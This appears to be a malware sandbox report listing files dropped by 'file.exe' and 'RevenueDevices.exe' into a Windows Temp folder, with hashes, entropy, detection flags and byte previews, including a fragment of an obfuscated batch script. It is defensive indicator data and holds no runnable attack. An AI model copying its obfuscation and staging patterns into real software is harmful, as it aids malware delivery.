Preview:	....K0G4..dyUw...!-..(Y.p'I...Z..0._........SQ.!...K..G.........f....7..+p9L.V&....x.2it.....A]..S..p...k@.n..\..T.L....8.!.).d..f........<-wU..V.Fxou..!.........K..p.1....`..8.L. .(9...(LgWRn.P..mE.(-"..F..a..L..X.....4....._>V..<...U...%.o>$....p.^...0..V....+.=3U...7.[T..(...........y...h....?t......j...N....s!3H..@..a....u..)....x.u...q#.\.B.Efua.sR._nv.P.G..!O......h..........X....>..Xjr(.ch.0......\.X.c..9,..npq.k ...:`#z.M....z...@....p<z6.8Q..K..Hq.Yj....k.w..x.g....M.zY.]Lh..k...Wo.'_.......P..3@0..:.wj...:....F.>..:J....j.A.]A3...ct.k...=.e..C7y".,..Fw.9.e...-..].9~.....E.g...w4...q..^. #..<.G....9.t\|Q</...T.u.m.4q..S.;.h>.......;...........+.....c;.....b7&.jN.)sW.P!T.^;_..u-....+..o..(....M....2.:.b.zN..(.vp....?.Te.,.o.e...Z.......\..@.->o..o..W....h..-..53>L.N..7.~.t.P...5.r....!.....Qli.......EK... %.;Z1..".]z..........\|J.Y6rc.......R=.XV.NK.{........QY7y~...\|....L..#....1v.E.....w.u~Q.GiD6..+*.V...Q.Z.B#Q.t..c. .l..D.5F

C:\Users\user\AppData\Local\Temp\Become

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	7.997840705071926
Encrypted:	true
SSDEEP:	1536:UAsvC8aCxcatm3+Gkwp8/7yZIBgSPXGu30vCwYPl06oDDUL1MHhWGAwG87gEPFzw:UdRptE5/8/1tXGy0vCllEvUBMBoSBw
MD5:	CA0DA393D4AA63338EA8CB4392F905FD
SHA1:	4852790C68FE695368C5D742A3C7284306353850
SHA-256:	A5B3F558502CC0164359A016E68B5228E61057A80EF7D688515A53378A095D70
SHA-512:	53A977C7A90487149B024A6725BB47FA3569FA5EF74B2B75DC642A27C4788910AFE51905F1D3E79BDD34C2590CF9D5104E9028350328FB475E6E958BE81BAD04
Malicious:	true
Preview:	....$q.k...{..3...Y.`...R{...J...3.XT7BV/....wD.[.5o.x3..z...w...P9X.$...5.....41....>\........>.;.5o..=lY.@.../.c[.tk..W..W.a.3/....^eC6mM....y...GZo.E;9.2_..l."\.v...W.Z.T.2......O....l...._..Q.....`..(mw[.G9^....?.S ..M.........4.3.W...bT.^w...80...vp...zt.....{..x..7.k?.#....PusG.)z.....p.;4.A.~.1.....KfU.....uGt........9.I.xPA[...........]..r.....z......_{...Pl.TQ...c.B.go..p......W..Ed.....C[.....Y_~.........g.....O..W..$.k....[......L./...a.H.....l...b?....._.l.U.F..~.gS.{...\|.S..._..U....M......M..BLg....1"....V)K:.....H../.(......[.lt._.ZJ...'.;\..h...goH..U...hg<&..Y....v8:.U.....L5.n...G.B.!..r_.]...R.P@[ ..o..W...!ay.... ..1.....2.=.~..k..<...\|....,...q.e<..&...'..".H...N....{.V.zy.%.H..Od.&....0g......./pf.Q..j..a...T.......#.#..XwM!..S*..J.......uR.....T...rHY.<...?.H...K.C............-nd..E.......LO^....ak8.c..p.l..................9..!$...F.0.g...;a.r.&..-...:ZC_..N.. .K.........C#.K..4..{.uG.....^....K..v....

C:\Users\user\AppData\Local\Temp\Bt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	7.996484117380925
Encrypted:	true
SSDEEP:	1536:s38k2V9mC/FvFbVK9taQhPEHj/s9q7a26SgEJ3d0:sMk2VrFtbg99Mjkw7aNtEJ3d0
MD5:	05BBE1EF659B80B5C6BD343322AB16B6
SHA1:	FEECD557C997ADF7A0BFA3ECF5BE32DACD8C1E32
SHA-256:	5AD8434F5043A10855002FFC2760617AEFC9662B5CAA2C6B96AE5CAE5E88693A
SHA-512:	BC79E878DF1E13297FCE67607236C1264E4531DF9180EF1908D900401263A5DB12FECE84837E24AD824658E81A4842AE94C6C4593E2CA3D890ED8ED27A581261
Malicious:	true
Preview:	.\|y'G....B..W..Br...<...&....Z.9...'....G.).....]c....w#..I...bq..S>.u..M....O.Z....^.\&.. kWz.".QK...4.....b.......P.J$}.....r\|..$...>c. ..z...y..3x......>.2${.. l.J.\|.7.N..:.$h./....oW.p1P....}...9..=..oL.9....5.7e.J.k.K..D..j.M7.$8>Y[r.Q....\|.A.A.. ~..Cl..(R.^ru.GF....".b&&l.l9.....G..5w...mY.wyzw.jA.i....6,-.!..^.t..7..t.]S.....%.c..8.x8.......W..&....1 mW.=...v..-.`....Q......a..s.f......3...$....... ....`G.8.5..N=..c..I).C.p.v<.p..%.$...:.%....MSC..5)x.....e_.....a .........y..m<....&....o9N.vza.F..P.~.....(Q:.......~..!.7.@?....h......Q.B.i.k....Q..w.?z..'Z'..Z.`0.._GG.......V.._.}...Z...4\|.T.....Xa...C.....=..j.x.../..L...89..Z.8.W.....?.P..~j..../.....p~h..C..`.G...Q..Y.g.....F&.n.h.:.OV=2.....n].K....$.......P.Z\|+.(.L..mk...C..{B.;...A....+...FMB...........)z......b]..gh_..Fw4v.jQ.9Hp0%`K. .,.K....'"j.j.}[k...."......v%..l.."...Q....TE...B.W9....M.^qE&..).\|....l..R.-............D...._.tp.F.D7O.3.#K...*k.....,..l.

C:\Users\user\AppData\Local\Temp\Considerations

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	7.997498339758161
Encrypted:	true
SSDEEP:	1536:AypewPLnlLj8Gd5KdggE+wOg+Cs30qsLkGA9FsJ:3tPLlLjb5yghOg+CUEYGAY
MD5:	FCC2E848DA8D0BEAC27BA027AE23DC2A
SHA1:	D4FAE227CC35C806B7E06D85581FE7540EC4A9CA
SHA-256:	B2381BFDDBBB5016607B0A66DF94ADC1B4552D6BB65682D492863C4E12A67E9B
SHA-512:	8C80DEF9F4B0C7F37AED52E7C2BC7602DC354CFEFB0CA3E33704B07BECB1AD3FE4828BF2F5C82AD000161DBC052E584105F305D67C1DF5079D6E95B79E4F768F
Malicious:	true
Preview:	..4O.t...w..f.H:.Ln...<}.F'.(..]Xw%z...e.I^.....)!"..os.....Z.c..e...t...pRn@.^.Y......L$.}...E....=....y.. .....R...z.s@...an...K> .2f9..........[......B%j&.^.b{....).#0!.G2..V.,.i.A..\...o.V..d..sLs...w....?.r.Lr....j..2...V.*L......./..@a..<...(..[............t.....$u.....I)IR......<'./....._q@...o..b/..A......mE.J.7...^..8H.S'...W......Lo.=F{.....;E...,&5[3..Y........_.......Q.....zQ.....oxX"..\....ws......$>....b.n.Y..U..>h..2r.Liw.w...a.CHy^.}..t?.^...&t.J.2.ML.("...~...:..,b._.....zs...G.]/..&).......K$J\|h...o.....<c.M......T`f..TC6d4.X..q/Tv.X.u%...&.gl.h....gCb.i..].LA....j}..4.g....99.QS..4..v..$U......po\@......<R..n..\g..u\X&.'Z...wk.TY...&.....U..F....H9..zI../.u....2.G..MT).wH.0.......`...j_...s6[.z#LE.l?..P..;T.!B...#...$..T.%.i.j.\.L<..>...>~q........<!.+Q6.5.{....{.s..........^.....9K.KL0.+L.j.RFK.,..ym..zD4.?.o.s...r....-}.W..3.\|..D...{.8..B........#Q...i}.;Z~.........F..+U..c..};U..1.v.1..t..<.\H........sz....=..

C:\Users\user\AppData\Local\Temp\Disco

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	924590
Entropy (8bit):	6.626218475261086
Encrypted:	false
SSDEEP:	24576:9Js7DlG83U/hcSO3UTyYPeuZtxY+8aiB8ea:9C7hGOSPT/PxebaiO
MD5:	5E0A36A6A1E6CEB0BD42ED9DEBDE8666
SHA1:	6F0E0881B517206EAEF33364CA40B006038B5FE2
SHA-256:	1FBE941B779B8EE4152E224FE6856364B5B67BB7ECEF9F81EDE5DD7441165A3B
SHA-512:	7946F6A25406A15D83BD6BE6D0FA542A9D0B6C01515362FE8E318D5FCE5FC792C08AA163042DEAF2DE88EA79431175FB14C503288C12DAF6A971A9A8DDC9C80D
Malicious:	false
Preview:	A.G.....U..QQV..i......d...uS.p..7....M..E.....Q.M.QP...d....x$.}....`...t...i......d...u..I..E.A..^......j....@0.I0..U..SV.u.3.W....y.Q.>.......t....%M..@...f9X.u..8!t....t._^3.[].......U....3.BSVW..P.P..U................J....%M..O..1f.~..u.6.. t...+u..+...3...+.............f.y.4............A....E.A..E..A...R.U.E.....h...X%M..)6......M....G.3..+....D..f.x.GuB.A..E..E.SP.E.P.E.PW.}.......(....M......U..%....X%M.....3._^[..jiX.....U...<SV.M..M.W.(....}.3..E........7N.u..u.3...R.B...._.....t&..u".@...f9p.u......tB...u..u6..U...M..E.P..`....F....E..M.@....}...M...}.._^[....I.A.U..E.;..3M.....~.......3M.]...3...U..W........Q...Vj8.f...Y.u...........O..N0.w.^.._]...U..V.u.W.......O..F..G..F..G..F..G..F..a..P.M....F .O .a..P.=....._^]...3.3.@.Q..A..Q..A,...Q .Q(.U..W......uCVj(....Y.....^6...u....0.......5...v..6....I..f$..G...t..p$.w..G.^_]....7..U..VW.}...;.t.W.B6...G..F..G..F..G..F..G..F..G .F .._^]...SW..._...t.V.3.s..w...j.S.(.........u.^.OL3..t..A.9.tD..j

C:\Users\user\AppData\Local\Temp\Eight

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.9964112257752635
Encrypted:	true
SSDEEP:	768:BWVzlyOAYnoKD3B2049QknUNLB5f3Bc1nlHjbng01S/plADTTaQm695eVUjX:cAYnjDxTlc1lHnMDADTTagGs
MD5:	7C7B509C91FD9DA8DDFA9C3B5991C9EB
SHA1:	61FB5CF74F58BDE99C00A010E1A670BEB85FD8AD
SHA-256:	C6E57103AF0A2B2ACA227A2B8683B6298711454A84EF57DC91FD35D279DE9D64
SHA-512:	E56D32471A3C0B409A1B5A35065DB89ACE5F01928E915AB49A21242F74010C099F91F55272714F5F24C06824E5BBD0C4349DE5BFDC6E385030DEFE0D726CD06A
Malicious:	true
Preview:	op"...1..h.r...n7R.\$H.../.....g`n.-..F..$..........p,......].O....l.(E.t...r..e?$j.2>k...38.a..scG........x.......\|-..0...,....2..@..W}.lj.1g...(m..iWh.#...5..0.G..&.0J.xu.+.T..._=.....".....\L.. p.u.~W.f.76..h.......[i......u.!..e.Y..lD..D..U.....;n...k...a..nnKs...h.T..(..9.e\|..C.....b4H.PM...ZE....._......I..~w?...M.......g?f.1.k...v..z..1uRm..K..x.`..C.;.i;........q_.ZQiP...\r........j.......~2P...O..<...7....vC.m=hL..B.8.l..o....\|...l!..=I.[.c.q5....>...N6;.>..`h....W..p.b+.Z...]i....w.Zq....\|.L.b..a.XB=.;.{.....RUw..\|.4.M2..ST);...H..ke:..p...e.u.g..R...wW^b.,x...>.h...h...{Y ;..=...n.......M....(..]fJ.f._...q.X..E...D....I8d.P;^..%I...q0..4.?..E.z....<.5$.../.n.}.....L.B.}l./.x..[....8.....p"l.......P.....qDh.OY...n..R....~.x7...g..c.Lz...Y.%...5...YV<....}Y....7[.n....1..Z..........Z.:..]....8s...U..b0......K..:.....u.e..g..^.;C .D..j..O.Q,zLL"....:#...D6<.@r...S.....J.&..{M.c..={...#....#{:=4.}......yR.D...D&..}Wg.

C:\Users\user\AppData\Local\Temp\Feeling

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1181), with CRLF line terminators
Category:	dropped
Size (bytes):	26727
Entropy (8bit):	5.080719038139192
Encrypted:	false
SSDEEP:	768:6gWxHahGe0zQ/BFqRvH37se4oR6wigWw3Ow+hqY0:6gWxHdzQ/BFcXhBGet
MD5:	FCB66E8A2FE86AC2701377049B2B4C1B
SHA1:	23497AC06DACAC5AADB4F1BF1F6D7E466423438B
SHA-256:	518077F1096F3975B3DF1DEA86F0BE43D57E8A0BE3C44E8C67E4864A593683A2
SHA-512:	DE3EFB8A957E309DCE4D8ACA89F09904EE30533528BEEC6CEE10D00D6E324868BBB1C06647DCEDB0F093C68B83A3C2E7FB83A0F7520A7E0937A6D182573EBB9E
Malicious:	false
Preview:	Set Membrane=w..ZVSenegal-Scary-Tropical-Maintaining-Might-Painful-Mailed-Need-Harm-..rKpmCons-Cached-Justice-Sku-..GkProved-..IfsAssuming-Guys-..lxEYGranny-Stronger-Mud-Terrorists-Unity-..bIYCompeting-Creator-Wal-..EpUdPools-Creatures-Twelve-Tiger-Filename-Construction-..agfSanta-Throws-Hans-Racks-Reduction-..jiKPhase-Andrews-Pairs-Gaps-Boutique-Buddy-Complexity-..Set Tactics=4..TnRVAmendments-Protection-Consumers-Typical-Stakeholders-Pictures-Ribbon-Pole-Golden-..cQMortality-Fantastic-Disposal-Compatibility-Inn-..UVOpinion-Customer-..fXfAged-Experience-Included-Affair-According-Ht-..WKrHAdapters-..PHcDowntown-Compiler-Never-..qFwtBathrooms-Weird-Meters-Mario-Pulling-Internal-Artists-Frequent-..YPBiFelt-Jewish-Greetings-Nb-Smart-..Set Rally=g..SlRespondents-Features-Fotos-Mime-Train-Lamb-Electric-Brandon-..tlgPoster-Exists-Considering-Mt-Hosts-Experiment-..nkAllen-Feedback-Awesome-Poems-Clients-So-Veterinary-..ISdBreeds-Mount-Year-Hosts-Workshops-Finish-Incomplete-..KciBKnown-Robust-D

C:\Users\user\AppData\Local\Temp\Feeling.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1181), with CRLF line terminators
Category:	dropped
Size (bytes):	26727
Entropy (8bit):	5.080719038139192
Encrypted:	false
SSDEEP:	768:6gWxHahGe0zQ/BFqRvH37se4oR6wigWw3Ow+hqY0:6gWxHdzQ/BFcXhBGet
MD5:	FCB66E8A2FE86AC2701377049B2B4C1B
SHA1:	23497AC06DACAC5AADB4F1BF1F6D7E466423438B
SHA-256:	518077F1096F3975B3DF1DEA86F0BE43D57E8A0BE3C44E8C67E4864A593683A2
SHA-512:	DE3EFB8A957E309DCE4D8ACA89F09904EE30533528BEEC6CEE10D00D6E324868BBB1C06647DCEDB0F093C68B83A3C2E7FB83A0F7520A7E0937A6D182573EBB9E
Malicious:	false
Preview:	Set Membrane=w..ZVSenegal-Scary-Tropical-Maintaining-Might-Painful-Mailed-Need-Harm-..rKpmCons-Cached-Justice-Sku-..GkProved-..IfsAssuming-Guys-..lxEYGranny-Stronger-Mud-Terrorists-Unity-..bIYCompeting-Creator-Wal-..EpUdPools-Creatures-Twelve-Tiger-Filename-Construction-..agfSanta-Throws-Hans-Racks-Reduction-..jiKPhase-Andrews-Pairs-Gaps-Boutique-Buddy-Complexity-..Set Tactics=4..TnRVAmendments-Protection-Consumers-Typical-Stakeholders-Pictures-Ribbon-Pole-Golden-..cQMortality-Fantastic-Disposal-Compatibility-Inn-..UVOpinion-Customer-..fXfAged-Experience-Included-Affair-According-Ht-..WKrHAdapters-..PHcDowntown-Compiler-Never-..qFwtBathrooms-Weird-Meters-Mario-Pulling-Internal-Artists-Frequent-..YPBiFelt-Jewish-Greetings-Nb-Smart-..Set Rally=g..SlRespondents-Features-Fotos-Mime-Train-Lamb-Electric-Brandon-..tlgPoster-Exists-Considering-Mt-Hosts-Experiment-..nkAllen-Feedback-Awesome-Poems-Clients-So-Veterinary-..ISdBreeds-Mount-Year-Hosts-Workshops-Finish-Incomplete-..KciBKnown-Robust-D

C:\Users\user\AppData\Local\Temp\Howard

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997576482212188
Encrypted:	true
SSDEEP:	1536:aGYvJmiIO8b7UwXDFgHV5PUvYcal2Ww1OTeYmvtQ7cKcm4Yayt9+2bIv:aGYjI/fDFgXx6WwpbmxmYftTkv
MD5:	991928C926AB0EB5B3BD3041F7F9EE75
SHA1:	52044452BC9241D53B652A99AEE92E8D2F7663A1
SHA-256:	3E3D903B757EFE8D442782AC96E3B9C916C849D1F88C826AD667E1CDAD3FCB93
SHA-512:	367E8E8303DC731659A1AA8868E9857FFD3D850DB0DDA7F316F8E391D176F3B1822FAC7F591C09CCC5E9DAB1A2C66F61CA97375B1698DD79996BE381CFECB06E
Malicious:	true
Preview:	3R)..?......u..?SC.RB.-.....U...u.8...A..;..[.%c......W.j.:...C.......H....&.H.m.}..6..<....v..:..t..{...G..C......^{l.h..L...\.....).,<.\c..7..2:.gAIN .&......Cg..A...2>;.$a.....qlH6d....n..^\|.f-.od.4..>..n7<.>Vu........ ...Q...$Bi7E(&.<..2.....HXA...#qa.S..........l.?...C....?j...E..:.g)w(.....Jo..O.P..y..^._%.`...q.go.......j.....b>.j....e.\|.4.4oy;....~0..x........ ..b+r.K!r.!V....,..e.......0..y.Y.4.%.......Wv.m.#\..\|...u1.....2.....EtP.t....{%qOwN.D("......x$zG..n..N.(......v...nc...z...:eq...%.9....,5..g..g]o?Z.}.h...76.n.....=..8S7.6......2.......a..i.`e.8.P PY!.Ff2...G..<....\|.I..m...".Y.:...K.h..Wg:..$pho?....xa\.n.Zp).cg.....u,"3J..g'...2]E..e...Y-...{$....u.-w.+D...Nas........j..o..j.Y~M0.`.!.`.V._...N..."`z;....W"b.B..Je..Z.......;.6.....&i.=]..W...F.^.\|...+o/..r...wp..3..wM.?8q....S..s.S1w.:.W....B.O..]3....a....bt..\|Ic c.Z......).\?.......eWG#ni........E@W..L.h.#.2..om...6D<...S{.b+`.LDb.+...H.E.eXx.W.Y.......2k.

C:\Users\user\AppData\Local\Temp\Los

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997683653805352
Encrypted:	true
SSDEEP:	1536:2lfxwqJC7Efj6ArRDI+SR8O07A3XCCthP9Wpan1d8r7u/EklKW+RaPe6yW+hBQAs:2H7xIPRN3HDnPQa1+/u/DKWBPShbu3nl
MD5:	7AF70F6EC6FE162EE7A0C0B86077DC17
SHA1:	8D4DF6CC535EFA001F70BD8C07FCD9FFB1B11EB4
SHA-256:	D6F7FBCE77B113E19D4B8CCA39EA9868D62F99887A427D8A835A86C489AE2C18
SHA-512:	C023787AB0CBDBA3CD86D6727AB9A21A06A131FAD288C817E4B06BC79002F07238109294FEFF6442A9F1993017DAE5A3302D89DC3EEEDC51FFE0711EAF90DD7D
Malicious:	true
Preview:	....._..(...]]..."P'....X[.;n.@........9s.,0..g.....t.y..\|.R....: ?LM....!r&-......I..2.&/d.^G..'.7.../G..<...c@......o...D.?.....I..Dw.>....J.e.. 1........G....s.:...#.o..4..].JX.E..wV.%.3....-y..Z~FL.B,..W..r.;....KP......].+...:.I%...aF.'V..NNNC.1.o!F.....zhPT[.n.-......Q#A.v+.h....{%.........s..G.o...\|D!i.B..{.?.L.-c+.{.+..g....]....O....c..]Q.s..F:uL7'\|..d.V.....#.~b7...C.51....i?..#..:pG$D...kFLE..x.7S]...U......s>s._=d..2b.R.1.`@.(. ..Y.'.#.6.....LF......o/..1Dy.....$t..S...."X(.V..mhm`.Z/.o..).-;..P..C.....Dx..a.f....W1..;....L.....6...;-S...O.&o.6\rt.t.>jn......s.n.....Q....8.m.FR.t......1....V.k...%G4_]....d.ld.U@{..v2L.....{.O...%.b9.v{.F..v..z.2...f.P(.c..D...c.pY...X.f..S...<....U=._4...H...\|..x...N.Eny=.%....r.C...ro(..9...c...........H.).$K..3PIP.....&..o.g..5#wP^.....Oy. ...."...DQ.5.............(.T..'......4.^..r..".l..W.x......?.......@T8..YY=......q...(.s. A...."!......G.....r..H[....{....[...N.D1...

C:\Users\user\AppData\Local\Temp\Mental

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.9980473668055865
Encrypted:	true
SSDEEP:	1536:Olz5p2z58J/2NdMw+YdMqW1OmpMI65W54YMsr5qk0yvqdoSLb96a4XCKjngyK:Qz54lggviqOpMI8Waxsr5qicoSLxD4Xo
MD5:	B69EC139C5B8D39F27D81D1E99D6E37E
SHA1:	87E80B8199F799A3F8F26FEC6073A7DECA7687CD
SHA-256:	A09482954B2F5417538A52A21CCAF43B4DA7B6A84D261F0F8D8AF69EFD52DCAB
SHA-512:	4A3EBC82B013C8382C9FB24759F25441BDA7A48CE4503DCFCB2978BD0C6433144B38DB6625FFE7393A43453580AA56F713ABCA4F563CA78EF6AB4B1756DCF2B4
Malicious:	true
Preview:	!.\|3..U.p...N............+..H^...\\|..........K.u 1.so.@C.1m..c..W3...R.j.[...4.jX....l>$.....C..z}wS.<..q..C..(.M.T\|..+g.E.%.u....E.zsW..Q[.....x%.....K...:+.4..C.8.......N..A..(\.N........~..r9.....D9...\0@.d>F~E.8.%.}Q.iJ\|eM.....4.L.l.y...?.t..[....l..Q..gv4T_.F..2...x.......J.z..rVO....I..%....t.v:\|..V.".}IDe..A.......T.............v.....L2.3.xj..$v7..:..p..2..f.M...^.5n)l...q...7.v.2..>s!/l.p....%.y...D.sd".R..h...5'!^........q..9O.....6.~...hI.0$.x......a.uek?...W..ve...y..7.}^...5B...eT..a.i...4.N..1....N.M.r".-o.w..54.d.....%.._.J=..y..5.A..v..:.#;....X...Qf...W.C_.l.'n.c}.k..v..i{-.LH..D..X.....k-p30..b.l-.......e.yBm.#B0..RZ..&....{......x.Y.}..VR....q..X.7@.;7.L..mM;.a xJ...u(..xh...rH6..............X.qc.....U%..;......2!.Ez\|.E$I8B....n..f.{.Csd~.{...Aq!.>.....6.6.gJq.@.m,:..N.<......"6C...\.e...{..)T....[..JMu..2..G.....wa...Rg.......5.F.Z.....$.f......-.....6...K.[..s.n.g!,H8C.....^..'Wk.K.&.h@TY6..f.N$..a....W.(....}0.2..

C:\Users\user\AppData\Local\Temp\Norman

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.99777953585341
Encrypted:	true
SSDEEP:	1536:0hrgsLjJ2daNKUtnGZUs1bMOLBCSzfMA0x6S3gWlETHnJHL:0x3LjFKUtnyUsVFBFzD0xXgWSJHL
MD5:	AC10591ABC6E8218601573329D394545
SHA1:	7AD13438209AB213DABCC5274425A75C8BB63B27
SHA-256:	E720BCD9B3FB4CD02E1F7C16CCDBF9017E1231F390976C9BC6592E3E878F630A
SHA-512:	34FC9287C42FE1626DD1150E49D172166C4B9E47287BB2D56994AC5B1F237E938CB332F3E0B0C94408E2473AAF6B29F8E7731DE9FBD9D636320FB7238A6B2A4D
Malicious:	true
Preview:	.....w..d\|b\.M.IC...B<....O..>.[......4Ksq`...?...g.H.....'._&j..t>..%9....o..X......2]}.w(..n.K...=...o-E.y..e...^}..N..9M.w...yI...5.9\|@#..n.&....59.&>..s...G2.....PDCA+3.@.8P....D....g...>%o....d.....4X.:f0S.....9..}~....y1N....(R.L..D.._O.m.......{.s7......m......H..r....4f..%.....e.....Um=c2..<3.T.D.>`.0...P...k.W<R\|..JSc.3..a......+&..q+.c...+)z.........Q8...L1..o1.9....6.(..c\|.=..I.K..9qQd.O.7...f....M.gIiVA..~.....tq..q.f. .7X...qC.YR.~...a..l..C........gFx1.wn_.f.o.....`!...BT......;r.n.....`:B(..92)..4o@..6..{..:....Q.d...E.q.YA.oj.fy.1D...4.&...oO..<..l@. "....[`..?..dv.......i..i2..a...6#..<.d.4.40p.+j....8J(.pz>..2U.2S.A.if.F<\|.4z.].#.q.JS...C.N.......w...{.......~.#.o...F.&..g?z..\|\|..wY..W..{L.m`T.......%..Slgzd.a2......TC..]...tf_.x.........\|r.!....tFO..!...m........\.../.F...\.h..(....... .w..y...g..{.......t.......K.C...K.^.Pu...G.ce........[wS.$...#..mb.}..._....e..W...a9s.P...^i....v.......:J..5.....(..j.gC..9d:o...Yy.....

C:\Users\user\AppData\Local\Temp\Parts

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997454439778383
Encrypted:	true
SSDEEP:	1536:pNkbqY2FDb8R4MjFZwtLh5H5oeuPyXFvaqRhBT5z3QqVl/8W4zsZeQJ:pNk32FDgXEhZ5VzViwJ5zAqz/8WNcQJ
MD5:	D1DA7B87F186D2F06637FDB6851E4043
SHA1:	D84CD866C1F50D57FCA2A0000C9E5231229866D1
SHA-256:	B91FF890AF60C6AAD4BB50FB9ED5A8593A8ED0FF26568732A130BB4DA22BAF09
SHA-512:	697608D39B19C2B9A617102A74377A438BF1D53430DC09A225D98D59AB3A65B807E12F84D464F335190047624CDDB1452088B89FED15BB667C875FEAA8BED1F8
Malicious:	true
Preview:	.W.;...O...._....y...i..7/1...s...C...y.i..3....{{..Z..gky}%n......h.l...v.]#y[6.7.....(........8.#G_q5.]+...%..G..#......d(.h)K).%.}...z..y...2.....^.x5R...`.6\......-.G?}R....d...q.q......p.0...=O...Pmt.7..HYHy).3..V..h.....u#.n9..W.....Z/F=i.KOHfb......f@..t..F........!K...Wjd.pQ..6w....B....9.E.u..#.e....2..^...:......=....c..w/..8..v.,~zv..TR.b......+...).C]...=.h.@.8.[.......>....te]...8...f0h(...6.hj=.+.vOh..e.{..5K.9...F..'a.Z0..z...!4.t..+....UG...\|..0>.I'g..E%...k.(.Q...4A.()..o1Vx$...W..r..nL....G..<.G.......i./....j........Q..........].4B.8............Yp..+........dL+t-X.j....dO.&.#$.Q.lK...'Y.D...P.rK.............0....x8".QT.b....u..W..f.R.ZXV^c.7..G{...U..I(.<@..K.@..J.Ts.....(nU...0.p...]..>..e..p..B.I39.$...X.ODI..O.~;".J..Ck!...,.R...1.7..\|$...v..I!...af.............^O5.82.Pe..^.>....6.i...3;...........?_....h.......Z..w...'..$y.%I.".9W.......gF.]...:........=,\|.N]..{l ... ...k.4K.=.f.q..&..:^K......n.p....B...OX.JAr.\|.....

C:\Users\user\AppData\Local\Temp\RevenueDevices.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1151988
Entropy (8bit):	7.977544256260055
Encrypted:	false
SSDEEP:	24576:jk8k+VnD9c/rJH6DguRRE0SBpQKkRS78imlEQ6dDyzKdKXnJX8cmegcEipn/:lkMnEa5dnZS78iokGRnJV7n/
MD5:	B487B5B51436B42576D60A1FE58F8399
SHA1:	4FF23FB37AABA96AC114FC54B397A902E4D9D650
SHA-256:	440FCA4D671E78345ED1763F7904174EFFDA3ECD567D7E20224E5910028B83C0
SHA-512:	DE6974616095ECDE0A222099D74FD08B307EB1213105053C14638A96FCB526C68FA53645D0B9359E1293B42AF45B01226AF7A373AC3A64709632C5D093C19EE5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n...V...B...8............@......................................@.................................4........@..r............s..h(......d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc...r....@......................@..@.reloc..2............:..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Rocky

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Samples

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.9980376794357575
Encrypted:	true
SSDEEP:	1536:Ad6ROLk6LJBOGir/67SrmGIQvugEx1Aa2RQkHTnwBPFe0nZevuy461Pln:+evWOGir/MSrIQvtra2J6PFe0ZB6Xn
MD5:	BACA9A04DD19F20199C21C2EBF0374AA
SHA1:	5DF76C54FD5F02DB7DF46FB38EF41449430545D0
SHA-256:	4325FAC47DF15F794B41742445329E5028C09B85F56696B1B590B0E8C5FDEC09
SHA-512:	39B10B8A6D9D55CACC30F8424E468F133EB599A29F1BE3CE20563DDDE0192FCDFAE891BEEE9F64FEF074A2D4113EEA7F14BDBBCD662398F36CD8B5CB037C5973
Malicious:	true
